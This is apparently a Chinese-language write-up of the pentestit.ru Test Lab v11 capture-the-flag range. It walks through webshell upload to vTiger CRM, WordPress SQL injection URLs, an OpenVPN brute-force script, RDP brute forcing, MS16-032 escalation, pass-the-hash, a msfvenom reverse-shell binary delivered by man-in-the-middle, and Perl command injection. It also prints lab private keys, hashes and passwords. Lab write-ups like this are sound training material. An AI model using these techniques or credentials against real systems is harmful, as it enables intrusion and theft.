Jirairya

TEST LAB 11 Writeup

2017-11-30

pentestit.ru TestLab V11 Writeup。做完之后收获很多。

网络拓扑图

连接实验室vpn

连接好实验室vpn之后,ping 192.168.101.10,使用浏览器打开192.168.101.10

Windows连接

kali连接vpn方法1

0x01 在kali上安装vpn客户端:

apt-get install network-manager-openvpn
apt-get install network-manager-openvpn-gnome
apt-get install network-manager-pptp
apt-get install network-manager-pptp-gnome
apt-get install network-manager-strongswan
apt-get install network-manager-vpnc
apt-get install network-manager-vpnc-gnome

0x02 然后直接导入https://lab.pentestit.ru下载的.ovpn文件

kali连接vpn方法2

0x01 安装openvpn:

apt-get install openvpn

0x02 新建文件夹,将lab.ovpn, pass.txtovpn.sh 复制到 /opt/pentestit/

cd /opt && mkdir pentestit

lab.ovpn文件信息如下:

ovpn

pass.txt为https://lab.pentestit.ru/how-to-connect显示的账号和登陆密码。

ovpn.sh为:

#!/bin/bash
openvpn --config /opt/pentestit/lab.ovpn &```

0x03 连接openvpn:

chmod +x /opt/pentestit/ovpn.sh
/opt/pentestit/ovpn.sh

0x04 停止连接:

killall openvpn

kali连接vpn方法3

openvpn lab.pentestit.ru.conf

Alt text

tEQGbU9pEzGj

windows连接vpn

0x01 到http://openvpn.net/index.php/open-source/downloads.html 下载openvpn

0x02 将lab.ovpnpass.txt复制到C:\Program Files\OpenVPN\config路径下

0x03 使用管理员权限运行openvpn,连接就行

攻击

CRM Token

0x01 nmap扫描

root@kali:~# service postgresql start

root@kali:~# msfconsole
....

msf > db_status
[*] postgresql connected to msf
msf > db_nmap -sS -sC -sV -v -A 192.168.101.10
...
msf > db_nmap -sS -sC -sV -v -A 192.168.101.11

-sS

Alt text

Alt text

Alt text

Alt text Alt text Alt text Alt text

0x02

Alt text

wpscan

wpscan -a "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1" -u 192.168.101.10

Alt text Alt text

Alt text

尝试sqlmap注入攻击,一直失败。

searchsploit "Vtiger CRM 6.3.0"

Alt text

vTiger CRM 6.3.0 - Authenticated Remote Code Execution

使用amdin账户和 blackstar的密码登陆crm后台:

Alt text

通过右上角设置—>rm设置->模板—>公司详细信息—>编辑上传图片shell(https://github.com/JohnTroony/php-webshells/blob/master/b374k-mini-shell-php.php.php)。

Alt text

在上传小马的时候,通过burpsuit拦截,更改图片的文件后缀名为php,且删除小马代码中的php

Alt text

上传成功,然后找到图片路径http://192.168.101.10:88/test/logo/shell.php:

Alt text

通过shell找到了token,token为Give_me_all:

Alt text

CRM站点的ip情况 Alt text

$dbconfig['db_server'] = 'localhost';
$dbconfig['db_port'] = ':3306';
$dbconfig['db_username'] = 'crmuser';
$dbconfig['db_password'] = 'PJB&*24^2e2';
$dbconfig['db_name'] = 'testlabcrm';
$dbconfig['db_type'] = 'mysqli';
$dbconfig['db_status'] = 'true';

本来想做进一步的攻击,但是有waf,就先做其他的了。

Site Token

看着后台信息的邮箱,立即想到开始扫出的邮箱页面,考虑将管理员邮箱admin@test.lab作为账户登陆。将CRM后台管理员信息收集做成字典,尝试得出密码为darthvader

Alt text

从邮箱中得到私钥:

Alt text

利用私钥登陆:

root@kali:~/Desktop# chmod 600 officetwo.key 
root@kali:~/Desktop# ssh -i /root/Desktop/officetwo.key -p2222 tech@192.168.101.11

Alt text

查看ip情况:

ip addr show

查看文件情况,寻找有用的信息:

查看隐藏文件

Alt text

Alt text

查看具有root权限的进程:

ps aux | grep root

Alt text

查看

Alt text

打印路由:

netstat -nr

打印路由

/etc/openvpn/找到了.conf文件:

office-2用户

知道了账户可能为Office-2,openvpn连接的ip为192.168.101.10 ,端口为1194

查看/opt/openvpn/auth.txt,没有权限:

Alt text

使用openvpn --config server.conf登陆还需要密码,立即进行下一步——找密码。

Alt text

然后直接使用ls -alhR /var/大概查看一下目录和文件情况,果然有发现。查看敏感信息的文件,找到了openvpn的爆破脚本、字典,再根据上面找到了的openvpn --config server.conf文件进行爆破:

Alt text

爆破脚本:

#!/bin/bash
# By Galkan 

openvpn_binary_path="/usr/sbin/openvpn"

function brute_force()
{
    brute_file="`mktemp /tmp/brute_force_openvpn_$USER.XXXXXX`"
    output_file="`mktemp /tmp/brute_force_openvpn_$USER.XXXXXX`"

    rm -f $brute_file $output_file

    user_name="$1"
    password="$2"

    echo "$user_name" > "$brute_file"
    echo "$password" >> "$brute_file"

    $openvpn_binary_path --config $openvpn_config_file --auth-user-pass "$brute_file" > $output_file &
    
    while [ 1 ]
    do
        if [ -f "$output_file" ]
        then
            cat $output_file | grep -q "Options error"
            if [ $? -eq 0 ]
            then
                echo "ERROR: `cat $output_file | grep "Options error"`"
                break
            fi

            cat $output_file | grep -q "SIGTERM\[soft,auth-failure\] received, process exiting" 
            if [ $? -eq 0 ]
            then
                echo "$user_name:$password -> FAILURE"
                break   
            fi

            cat $output_file | grep -q "Initialization Sequence Completed" 
            if [ $? -eq 0 ]
            then
                echo "$user_name:$password -> SUCCESS"
                break   
            fi
        else
            continue
        fi
    done
    
    openvpn_pid="`pidof openvpn`"
    

    rm -f $brute_file $output_file 
}



function main()
{
    dict_file="$1"

    for vpn_file in $openvpn_binary_path $openvpn_config_file $dict_file
    do
        if [ ! -f "$vpn_file" ]
        then
            echo "$vpn_file : Dosyasi Sistemde Bulunamadi !!!"
            exit 3
        fi
    done


    cat $dict_file | while read -r line
    do
        user_name="`echo "$line" | cut -d ":" -f1`"
        password="`echo "$line" | cut -d ":" -f2`"

        result="`brute_force "$user_name" "$password"`"
        echo "$result"

        echo "$result" | grep -Eq "^ERROR"
        if [ $? -eq 0 ]
        then
            break
        fi  
    done
}



if [ ! $# -eq 2 ]
then
    echo "Kullanim: $0 <dict_file> <vpn_config_file>"
    exit 1
else
    dict_file="$1"
    openvpn_config_file="$2"

    main "$dict_file" 
fi

不过在/var/tmp/.6469636d中找到了aut.txt,和刚才爆破结果一样密码是starwars

Alt text

连接第二层openvpn,从192.168.101.0/24进入了172.16.0.0

Alt text

目前进入网络拓扑图:

Alt text

使用nmap高并发的扫描方法进行扫描:

root@kali:~# nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 -oX nmap_172_output.xml 172.16.0.0/24

172段存活的机器

使用msf调用nmap模块扫描:

msf > db_nmap -sS -sC -sV -v -A 172.16.0.10-18

msf中列出服务

msf列出主机

结合网络拓扑图看:

网络拓扑图

  • AD:172.16.0.10
  • CRM::172.16.0.12192.168.101.10
  • CUPS:172.16.0.14
  • ACCESS CONTROL:172.16.0.16172.16.0.17

根据端口扫描情况,还是从web开始着手,即172.16.0.11。该站点和之前的192.168.101.10的wordpress站点一样的,都有kittycatfish2.2插件,目测内网内没有waf,不像公网上的那个站点一样。尝试sql注入。

猜字段:

http://172.16.0.11/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=16%20order%20by%203--%20-

Alt text

报错为3,即字段是2

知道字段之后,利用联合查询。

http://172.16.0.11/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=16+union+select+0x6b635f61645f637373,%28SELECT%20GROUP_CONCAT%28table_name%29%20FROM%20information_schema.tables%20WHERE%20table_schema=database%28%29%20GROUP%20BY%20table_name%20LIMIT%200,1%29

Alt text

http://172.16.0.11/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=16+union+select+0x6b635f61645f637373,(SELECT%20GROUP_CONCAT(column_name)%20FROM%20information_schema.columns%20WHERE%20table_name=0x746c5f746f6b656e%20GROUP%20BY%20table_name%20LIMIT%200,1)

Alt text

登陆192.168.101.11这台机器,发现其内网还有三台机器,使用扫描器扫描端口:

tech@tl11-gw-2:~$ nmap -sV -n -Pn 192.168.13.1-3

Alt text

三台机器都开放了3389端口。

通过ssh对192.168.13.1进行端口转发,将3389端口转发到本地的3389端口:

root@kali:~# ssh -L 3389:192.168.13.1:3389 -p 2222 -i ~/Desktop/officetwo.key tech@192.168.101.11

Alt text

下载freerdp(该工具可以通过hash传递连接远程桌面)安装:

apt-get install freerdp-x11

打开3389,连接:

xfreerdp /v:127.0.0.1 -sec-nla /u:""

Alt text

登陆失败之后,得到账户为arm554,进行爆破:

root@kali:~# hydra -t 8 -V -l arm554 -P /usr/share/wordlists/rockyou.txt rdp://127.0.0.1

Alt text

爆破得到密码为tiger,使用该密码登陆远程机器:

rdesktop -u arm554 -r disk:share=/root/Downloads/ 127.0.0.1

Alt text

利用ms16_032提权:

PS C:\Users\arm554\AppData\Local\Temp> powershell -ExecutionPolicy Bypass

PS C:\Users\arm554\AppData\Local\Temp> Import-Module .\39719.ps1

PS C:\Users\arm554\AppData\Local\Temp> Invoke-MS16-032

Alt text

添加用户:

C:\Users\arm554\AppData\Local\Temp>net user sb sb /add
The command completed successfully.


C:\Users\arm554\AppData\Local\Temp>net localgroup administrators sb /add
The command completed successfully.

Alt text

登陆新添加的账户,找到了token:

Alt text

AD Token

下载文件:

Alt text

获得一些信息

使用nmap扫描172.16.0.10:

nmap -A -sV -n 172.16.0.10

Alt text

扫描结果可以看出该IP是AD.

使用msf的信息收集模块进行Kerberos域用户枚举:

msf > use auxiliary/gather/kerberos_enumusers

msf auxiliary(kerberos_enumusers) > set RHOST 172.16.0.10

msf auxiliary(kerberos_enumusers) > set USER_FILE /root/user.txt

msf auxiliary(kerberos_enumusers) > set DOAMIN test.lab

Alt text

Alt text

arm554这个用户存在于test.lab这个域。

arm554的hash

使用smbclient连接该IP,尝试使用tiger尝试连接失败:

smbclient -L 172.16.0.10 -U arm554

Alt text

进行hash传递:

root@kali:~# pth-smbclient --user=arm554 --pw-nt-hash -m smb3 -L 172.16.0.10 \\\\172.16.0.10\\ 6361DEA164EE8FE91FE7B117FBC9CA5E

Alt text

爆出共享的文件,尝试直接连接到files文件夹,然后连接成功:

root@kali:~# pth-smbclient --user=arm554 --pw-nt-hash -m smb3 \\\\172.16.0.10\\files 6361DEA164EE8FE91FE7B117FBC9CA5E

Alt text

使用get token.txt下载token.txt,并查看得到token是No_more_admins

Alt text

CUPS Token

根据信息,尝试通过arp表找子网。就直接访问172.16.0.14查找线索。

尝试SQL注入,username:admin,password: admin' or 1=1 -- ,爆出图片:

Alt text

004e006f005f00700061007000650072转换成ascii码:

echo '004e006f005f00700061007000650072' | xxd -r -p

得到No_paper

Director Token

继续翻找图片:

Alt text

草–根据图片,一个个敲进去:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA4CxmKK2/kvV0+srp24bVZm+yYvCz+rvgHHxX1w7F0oD8aUDI
won79K9XpntFDPUvtJRMg9WqK/zKUwLsMQLGWT66PT4GVbQw4Nr56rOrBIuag/qg
o9WcX0AfIyFYFCNz0TnLfRXSDcSQY0CRK8WfKx5c8uP2kudtzAGv5GQCpSjM2uNV
shOu7xmgo/AMUQvPi8kvD/gAme9G8WkTgpVpAwlsthjxQ9fEO6abHHkjbGGec0O8
4T7Bo2nU8bHjr6Jd+dzUAvytblG1yNvGIybAFAsVqUHjbt9wGZgFKr1kA+3ZCbyF
qFZZ37dpZr2grZXwzlCtPUJGuMfCq7N0ZhmcAwIDAQABAoIBAQDCXPx+TJcLXhJ8
164HjlI8LKAoNLZ3sKlRSWYHqmFOcFNpFqh6M5Tmw5hlWf+2imdAVEw7Cegvl0/8
xU3v+I3tFvv22W44pLC0ZGfHXNvsZvYjdAwPwMeBtmDI3sI1Q7/JKikKXP7wvPrL
c1Hq979XbU39sjU5jbqe5N+SUDwS4Tu79L0uXehnqvCSlyIU9joDhvW87DeaLRaQ
wwkKR9gnPtiKebZ73VGParJ42CZlRgfEOvoLWUk+YrhRfZ9r4uva0IHbZ1LhqNcL
k0OlKEDUDzuju0/YwgBSZVSrhkCAnCnipsxQMc4g2aytPOTdKz4BtF+cZV/rXhyM
kSPIeh1xAoGBAPJfcCQWqsq/dwwOC9I9jWj4W9xAFPbaPSq1oGwNr0ugZ/4DZLGe
glGte8iG/Tc1Lb1Ege2dYPRR5OeFhyo8tADPKleFvDBYGN2asf4JirljxrW5F+ON
q5paXqjbaBKk/Z6f08UlwxjSHRHOWqEvYZkm5bAxrufNKBVpwVWHU6eNAoGBAOzH
AryHBdo45qLnzJR87zDftNNrualVmhWu+h+I7zj4hr52gM/TheHL/ODJZCyZU3vt
7ncDjUM91xwh63vkCiByEYk4vTGnmaj9brmndracJ7jwwSUn/YqPj0D3yD0lrpxd
PLn0c1ic5jaoTSWZN748PoPnP+CPvhjQYvxX5OXPAoGALmnEScTlc+nyXCaccOhE
miNlQ+opmZP1PqaFT+vw876F64iu0ayu/AEiwSXIe7f9SE9EKkKG/IJqOUPCvH3f
YoBIdXUwsnlMWbNz/lfJbvMCbG5Detn4UJiZo/BQH7Hht2mX3hr7H1etJWnExTUT
lYZzWahI/C23TVJxKXW+uUkCgYEAnLDOhMit/M3vAxt27UUIXUWNuuPtSmH9yB+1
cq0B8qe1M9HkSKRoUxbVUES2QDVvY/H+/0+gakFAW2OvHJu6f+I87JxZx8RsEcM1
RTMngo0wVFku2FHwnYOHf6z6HE0VknC5QS4eLyQVzVHvS9RraT8g99VPFmLKoE43
U1svJU0CgYAecYtH3ZvIwPA85sTuTkKAGMmvRxzPnQkyjUF9BwN+B1mfL4uZyJVy
VVWhCwXf/h9G3fKzuV0m0Dz6O7r5DqRqs0uCNbxPaS8qWPcRckwV2Y9htMjXLtXU
nOV4UZBbQSZb/AoSFdcCBjonbudkiAxzm0STdiQ92kZNavvfZAjXQw==
-----END RSA PRIVATE KEY-----

使用ssh连接:

root@kali:~# chmod 600 morgan.key 

root@kali:~# ssh -i morgan.key morgan@172.16.0.252

Alt text

在机器上执行/sbin/route -nee,查看路由:

Alt text

安装sshuttlepip install sshuttle,然后使用sshuttle进行端口转发:

sshuttle -e "ssh -i morgan.key" -r morgan@172.16.0.252 192.168.10.0/24 192.168.11.0/24 192.168.12.0/24

Alt text

使用xfreerdp连接192.168.12.1-3机器,试出之前找出的密码可在192.168.12.2上登陆:

xfreerdp /u:admin /p:77_GrantedSuperAdmin_77 /v:192.168.12.2

登陆进去之后翻找文件,在soft文件夹找到了ncIntercepter-NG

Alt text

进行smart scan,扫描出三个IP:

Alt text

进入DHCP,设置参数,serverip和DHCP Scope为192.168.12.1,网关为192.168.12.3进行嗅探:

Alt text

在RAW中的Pcap filter设置为port not 3389

Alt text

192.168.12.1不断向192.168.12.3请求quake3.exe这个程序。可进行中间人攻击,使得目标机器下载我们定制的quake3.exe

msfvenom生成quake3.exe,然后nc上传到机器上。

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.12.2 LPORT=80 -f exe > quake3.exe

nc -w 3 192.168.12.2 1234 < quake3.exe

内网机器:

nc -nvlp 1234 > quake3.exe

Intercepter进行MITM攻击,在MITM模式下设置SSL Strip和注入规则:

攻击成功返回Shell:

找到了token:Sn1ff_Sn1ff

Connect Token

由于remote.keytodo.txt在机器上,需要下载下来。并不能出网,就将磁盘挂载,直接复制得到:

xfreerdp /u:admin /p:77_GrantedSuperAdmin_77 /v:192.168.12.2 +clipboard +home-drive

192.168.11.1的remote.key的具体私钥内容如下:

SSH pub. key. from remote@192.168.11.1.txt


-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA7Mksn+uKhCIsc344y9C3JqPHG7TIS4FoTWMwcq1frxD1oJry
whd4mcjui3jCZfx5+aUuQLXXWJYnETFY4rmOUgWZxZbF1xgl8Ba+6OrcwuPp+UDQ
yB1+RREnOldqFXxKEu1os6sKNY5kzsnynl4HkNyVltQpTy/JHmLBf3WxN0pwpRqE
lozKY/T3UnXI684lzFR4asQE06GOyTPPgAkPSoqQubFn+/0l/4vLqJKkjyrnmeJC
N9oGiPcQZJO0Biqufwwadt1p3Hi3yAOoR7wqysx7SQf+6URNOQVB8J3fnKecGUu5
FZfvSmOTFjLK6LllBhtDz5MBCFBKnm5z3gyiswIDAQABAoIBAQDcHng5gkGWbB5e
jyxFbJWWehISk5DPgFFx/49+S+XzXRS6ZNDf1enrLHt1dKFjJb5OcVv6FBFI7O0M
co9q1YyUe1hj8rGgL3a1Jq/63rqzAiTz7WkpXyGPG08YUULxDkXeKo122L3445Kb
GelNh6QI6sa1HC36yzVv5eZzkvlXpzYYXChdio117IbjxDo4/RF/vmsmvZ+zANZX
Cr6bWKVhglsH6Z41vAyvjeH20/04sPhM1ic2Xakq3NVONEFw8WLypuRV3Bl9PlCl
JvyErJBy0LtRHyzPrBWcx1eoMyCAvlDf3140P12F+rfviQYbtfDCRuTvvaIPzOT8
sodXyCihAoGBAPoK8jl3Deqy6cfyPMaABxVPNQj5dlkmvnI7k0D1qlTl6nk3fh+b
4Wqh2ORsLE4vZC/u3tIwM/iVJPIy5MJq1WbCIrhrNWx6ZbriCKEk4K4aHLLL9C96
Af2i7b600xX2iHTmkmKXpZa5R46Os1TkpC/1oRE5PeBk3FHD/VPoh0lFAoGBAPJt
XzOaC8cqvaWrCbzMQetOcqOCJD7xYHVqrdyWVyC+YViP6awdpAQyLC6h8cZg7UDu
EPwJcYPkB6IjufAFlI/pG8bwk7SZfYqkGG8+yZT/NTYm4Fp5Sh8CD7H2FBEdyBTv
hnf5i3mBKGWirA/jdWnOcNsTGmBmv15h9yZ4he+XAoGADBBfI3qlBz/em7EKUaF3
tgV+T5KJrT97TNOnBSlVMIdvSq3sveWteJGaf1rgwFz0/oMN6SI+P64ifDUMaHzz
EuQm/LLffv5gziV9uRioZn4ICHBita+zTOOBiQP8c0DT0KAXS/55FM6Xrz8fU+c8
LLwzKzuRyrPTFXbZUCUV8ekCgYEAwKyqqIF7cO0IU35Pu+z/SzxLIqcRlbET/94s
lpAqaUzGY7PlfTUFoYwaz2lIlml8x0ku2JHM1Y1Lf9MzOY/F1mbn+8JDMpt3StRG
00usvS3kpchaMa4KegCSZtd0dXIdDn6ceggskQJVEAotBGe8br5ztbpGEW44FJR5
8OqDULsCgYBdBDZx17yhWgKgOwRdkSuUWW8U+BoQ4cX+o6itOmGBo+wv2TIZtkWm
fFgEfK/yZHAJAExuENuVDN1uXpDDwdQNOTW2MDlyJGsjVdJXl83pEwAiaTzAXFt3
oTJEwCxzgOzwrKfNJR57QV8T4JCj7TuSaSkk2n07gG4GdThBb6BorQ==
-----END RSA PRIVATE KEY-----

使用sshuttle将路由机器和本地的kali机器做了ssh隧道,添加了192.168.10.*~192.168.12.*网段的路由,直接可以连接192.168.11.1的机器:

ssh -i remote.key remote@192.168.11.1

登陆之后有个进入选项,分别选择Srv1Srv2

登陆后VM机器的IP不同。

查看机器权限,都是非root权限:

在机器上查看不能出网,且gcc又不能用。暂时不适用提权测试脚本。先尝试登陆选择机器时候的输入能否命令注入。

命令注入:

在选择VM机器的输入处,分别使用Srv3;sleep 3Srv3;sleep 10进行测试,有不同程度的时间延迟。图中1标记的地方立马报错出来,随后2根据时间的延迟长短出现:

不止是时间延迟的情况,还有在输入不是Srv1Srv2情况下会出现标准的输出错误(STDERR),即图中的1标记处的输出错误

此时,可以为了看到更多的情况,将标准输出(STDOUT)重定向到标准错误(STDERR)(https://unix.stackexchange.com/questions/164217/write-to-stderr),使用whoami测试重定向STDERR的情况:

Srv3;whoami 1>&2

测试得出可以进行命令注入——STDOUT重定向到STDERR

尝试通过命令注入将会话切换到bash环境:

Srv3;bash 1>&2

但是bash命令不能运行,直接使用dash命令切换会话成功,再输入bash切换会话成功:

查看remote用户.ssh文件夹:

remote@tl11-192-168-11-1:~/.ssh$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0xrDWTXXzq18+mTF7hoAFI9ZPoQKItWEUb/1k8sP2I652Po3
Ky3LEGDDlKwIgZGPJbo3CKSSA59e2cOkSWvFIC9qnWQHrWrs6uNDBbVLVxavopdW
/N9aXuhNa/pES18lRnrfrtwmAgYYc7q8IyMy1sO0diXCNunKLqwbGjpvYz1x1xqS
u01280uO6u5JZ0TWSvsRWIOVbyypMiz4d0UdM+XbGSh8gJGtiZDao80wMIeuEeHf
TgNJa/iInaVyKOpV2l8S4b7Opkw0hYSGOUAJqFlfZoILU2yO1+ibCOupFoM/GihH
deFkiKZyrJ7P5bnJK4gaRU8+R1H81oO8ktUL/wIDAQABAoIBACTnm9j/qa+O8rdP
YK7EStlNShu8t4zpaM1l0oe4yxdftCuzamuZANPnJqnZ/U6xZKYCzNYs9v29IbbO
Fe1j8r0yrN/A+fqeI7bYbgIUdIxQAfpZnLJuVX0b/VTwFnpassiEeJA4GkjmSeYJ
chRuddfHtMemyDITYu4P1lkaeBiP9uV3VRoUSBPuxLLqKbXdCu3pnmjuL1CtO5WY
ZvgWa9Ss1q6IS5f6mtCAMGf6QhxNmi04uUDXxsQvw2nCsHIBCuw2xbSqYyI87ARZ
FvjlNMx2Jl1JMbFuaggHr3TTdnynFJjYYg5gMgbiz1h3OlNBjttMyTa6hjKoxa7Q
r6GogqECgYEA9wdgQpPbYpB6p2KXpMf4/7o3XdHabfmM0cCXDKZO2n56mkCGEVqY
9aN2CnQzVMiTujP4d9/VOEhGrKsZ75f5bnyBcO27C/b7bAQR7c48ZsCrkac8JNn1
HdW0us9gc0xQQdOHAP06Dp0J+jaBXBcqs8Eq2DzEeNOOKBSS0a80FzECgYEA2sVm
SQ/L8gP3qGqrC9pV8USf8WhkpAKmbWajHTV1W4JB8+2u83FyUkBxcdJdgLhJnEIg
8Q8xcx7bRbbWoJqa8kmPveVxrVqyLUXgAkOMyxC6DWWMN/kSuY0Oo6M8FN+5/R8D
hqClALgiITNFJAbHs68l/RyXQ3LCmDDq5Zuy6i8CgYB2kyHPk22BOFzHr/mebSbG
ibo93Jd+poTDwjA/MC01j/SFymcQOW6mqhnlFrX1Anp2rK+dyuFsLLVP+KlwaoCe
WkE/1b0tFxbEWIfKoG453E3+kkm6Xqzb71LbQOPJNF5p2oE5JlQR46uAYV1iuPQU
aKqKNVERtmrMLmPzJqhYYQKBgQCozXfHGDE9ZGJLyUKBus5lg5YGJ47AHmtcLr3d
Y8pR+Yf6N4Ouw/J6FM90C+Wp1Ii30S6p0hdNxJlciV/CPIkiOjB3TfsQz9J7rFbU
aFrStO1aOOigp8cS9Qw+p01MrfRMowmNb5bhnzJ2e6D102Vz98lQLCdrG7maxOP6
ltDOcQKBgQDM+6qhd8K2ZVzl+S4ANUcQg/WO4cWV4HGmKEh5O7YjBpGwpO4d47+z
NCa8IJu+tbG3whhCbir8YGmMP+6frlr/uT3el8S9UGd/DKOeKdD1p7bEd7IlGZjm
Y+nnLpKlWSnrnF1EVKpyap1KXkB4d8+Y/Aux40exmiaK0dayjMl9oA==
-----END RSA PRIVATE KEY-----


remote@tl11-192-168-11-1:~/.ssh$ cat authorized_keys 
command="/opt/gh/gh.pl",no-port-forwarding,no-X11-forwarding,no-agent-forwarding ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsySyf64qEIixzfjjL0Lcmo8cbtMhLgWhNYzByrV+vEPWgmvLCF3iZyO6LeMJl/Hn5pS5AtddYlicRMVjiuY5SBZnFlsXXGCXwFr7o6tzC4+n5QNDIHX5FESc6V2oVfEoS7Wizqwo1jmTOyfKeXgeQ3JWW1ClPL8keYsF/dbE3SnClGoSWjMpj9PdSdcjrziXMVHhqxATToY7JM8+ACQ9KipC5sWf7/SX/i8uokqSPKueZ4kI32gaI9xBkk7QGKq5/DBp23WnceLfIA6hHvCrKzHtJB/7pRE05BUHwnd+cp5wZS7kVl+9KY5MWMsrouWUGG0PPkwEIUEqebnPeDKKz
command="/opt/gh/gh.pl",no-port-forwarding,no-X11-forwarding,no-agent-forwarding ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4Y5E8jqB0O63cSWuHLPIVzznUXZrH68c/dzx2UDE5Oh6eXh5NJOc9ZN+ago4Qaizs6uxLQmxmBTzshZbsenWyhKCdVsPFrcmh3AmCAC7ZiJ4eCVX7vse8Fo+6pFsyU2XONtXX9EIPG+BUPpvJDJnTuUpjL5XTqo6REenrvelyfVl3ocLqa6dYe6Qni7xw0cyK6s90yK6bAa32vmH1+oMDW5MCXurvKsHYozV8YuhSSEtgGRLw9tYPBwIvGcRrLSpcGHENj7B1ryF8Qp8f6cMWMkpyEwNWHtBIHpOwKIEOMZYl4uERIGSTXJxlPYp6ODM4lZtHKWyltw0PW/5k7eWD root@tl11-gw1

remote@tl11-192-168-11-1:~/.ssh$ cat known_hosts 
|1|/3LrQNj948Q+U+2sNdylotyYNUo=|tQ53LWvzDiKyc/YXjZxqwbDnFPo= ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGKRbSK4mnMNky9PsMxjsJNccfYOOA3fjkpHr8f5oOW/lLlM4QYHQ9pwRlDGtcBIL1C545KE1+yheA3eAFMjkcQ=
|1|2OW+4xzNJ+uofKoUL6TPbJrBxpA=|iPDR4hlBCVDoCc/KeIAnajHszrA= ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGKRbSK4mnMNky9PsMxjsJNccfYOOA3fjkpHr8f5oOW/lLlM4QYHQ9pwRlDGtcBIL1C545KE1+yheA3eAFMjkcQ=


remote@tl11-192-168-11-1:~/.ssh$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTGsNZNdfOrXz6ZMXuGgAUj1k+hAoi1YRRv/WTyw/YjrnY+jcrLcsQYMOUrAiBkY8lujcIpJIDn17Zw6RJa8UgL2qdZAetauzq40MFtUtXFq+il1b831pe6E1r+kRLXyVGet+u3CYCBhhzurwjIzLWw7R2JcI26courBsaOm9jPXHXGpK7TXbzS47q7klnRNZK+xFYg5VvLKkyLPh3RR0z5dsZKHyAka2JkNqjzTAwh64R4d9OA0lr+IidpXIo6lXaXxLhvs6mTDSFhIY5QAmoWV9mggtTbI7X6JsI66kWgz8aKEd14WSIpnKsns/luckriBpFTz5HUfzWg7yS1Qv/ remote@tl11-192-168-11-1
remote@tl11-192-168-11-1:~/.ssh$ 

找到选择虚拟机时的报错文件夹脚本/opt/gh/gh.pl

#!/usr/bin/perl

## USE
#use strict;
#use warnings;

## ENV
my $path = "/opt/gh/";
my $home = "/home/".`whoami`;
chomp($home);

## Go-go-go
while () {
# system("clear");
 print "########################################\n";
 print "Enter ServerName or Q for exit:\n";
 print "########################################\n";
 print "Srv1\n";
 print "Srv2\n";
 print "########################################\n";

 print "Enter VM name for connect: ";
 my $choice = <STDIN>;
 chomp ($choice);

 $choice =~ s/\.\.//g;
 $choice =~ s/(.*bash)|( sh|\/sh)//g;

 my $srv_conf	= $path.$choice;

 ## for right choice
 if ( "$choice" =~ /^Srv/ ) {
  ## Check that file exist
  if (( ! -e "$srv_conf") && ( "$choice" =~ /$home/ )) {
   my $srv_ip = `cat $srv_conf`;
   print "Server IP: $srv_ip";
   next; 
  }

  ## Get Srv IP from file
  my $srv_ip = `cat $srv_conf`;

  # Check Srv IP
  if ( "$srv_ip" =~ /^\d+\.\d+\.\d+\.\d+$/ ) {
 
   print "Connecting to server ...\n";

   ## SSH connect
   system("clear");

   ## and connect to server
   system("ssh -i /home/remote/.ssh/id_rsa -o StrictHostKeyChecking=no aengineer\@$srv_ip");
  }

 undef $choice;
 }
 ## for exit
 if (( "\U$choice" eq 'Q' ) || ( $choice eq 'quit') || ( $choice eq 'exit' )) { exit; }
}

system("logout");
exit;

脚本中的ssh -i /home/remote/.ssh/id_rsa -o StrictHostKeyChecking=no aengineer\@$srv_ip

选择虚拟机Srv2登陆后的用户名是aengineer,且IP为192.168.10.1:

即根据脚本的命令进行连接,登陆成功:

ssh -i /home/remote/.ssh/id_rsa -o StrictHostKeyChecking=no aengineer@192.168.10.1

查看192.168.10.1的bash历史命令:

cd
tcpdump
/usr/sbin/tcpdump
/usr/sbin/tcpdump --help
/usr/sbin/tcpdump -i eth0 -c 2
which gcc
which ruby
ruby -v
exit
cd /dev/shm/
wget 192.168.11.3/admin
env
set http_proxy=""
wget 192.168.11.3/admin
export http_proxy=""
wget 192.168.11.3/admin
wget 192.168.11.3/_admin/admin
wget 192.168.11.3/_admin/admin/
ruby -v 
ncat -klvp 7777
ncat -klvp 8888
ncat -klvp 9999
cd
exit
cd /dev/shm
ls
perl ngxbrt.pl 
perl ngxbrt.pl 192.168.11.3 80 192.168.10.1 8888
exit
ncat -klvp 8888
exit
cd /dev/shm
perl ngxbrt.pl 192.168.11.3 80 192.168.10.1 8888
exit
cd /tmp
ls -la
cat ~/.bash_history 
clear
nc -nvlp 2020
/usr/sbin/tcpdump -i eth0 -A '' -w /var/tmp/dump.pcap
ls
exit
ls -la
nc -nvvlp 1234
exit
nmap -v -n -p- 192.168.10.2 -sV
nmap -v -n -p- 192.168.10.2 -sV -Pn
nmap -v -n -p- 192.168.10.2 -sV -Pn -T4
/usr/sbin/tcpdump 'src 192.168.10.2'
/usr/sbin/tcpdump 'src 192.168.10.2 || dst 192.168.10.2'
/usr/sbin/tcpdump 'src 192.168.10.5 || dst 192.168.10.5'
telnet 192.168.11.5
telnet 192.168.11.5 25
nc -nvlp 2020
sudo -l
ncat -klvp 8888
cd /dev/shm
cat ngxbrt.pl | nc 172.16.0.16 10100
ncat -klvp 8888
sudo -l
sudo tcpdump -A -i eth0 -s 1500 -c 1000 port not 22 and host not 192.168.11.1 and port not 53 and host not 92.168.56.2 and not arp and port not 123
ls

根据命令查找关键点:

  • /dev/shm/ngxbrt.pl不存在
  • /usr/sbin/tcpdump -i eth0 -A '' -w /var/tmp/dump.pcap中的/var/tmp/dump.pcap存在,可以分析
  • nc -nvlp 2020,和之前192.168.12.2中的todo.txt内容有相似之处

todo.txt

图中显示的是三分钟进行一次任务执行脚本,直接进行nc -nvlp 2020见监听,但是失败:

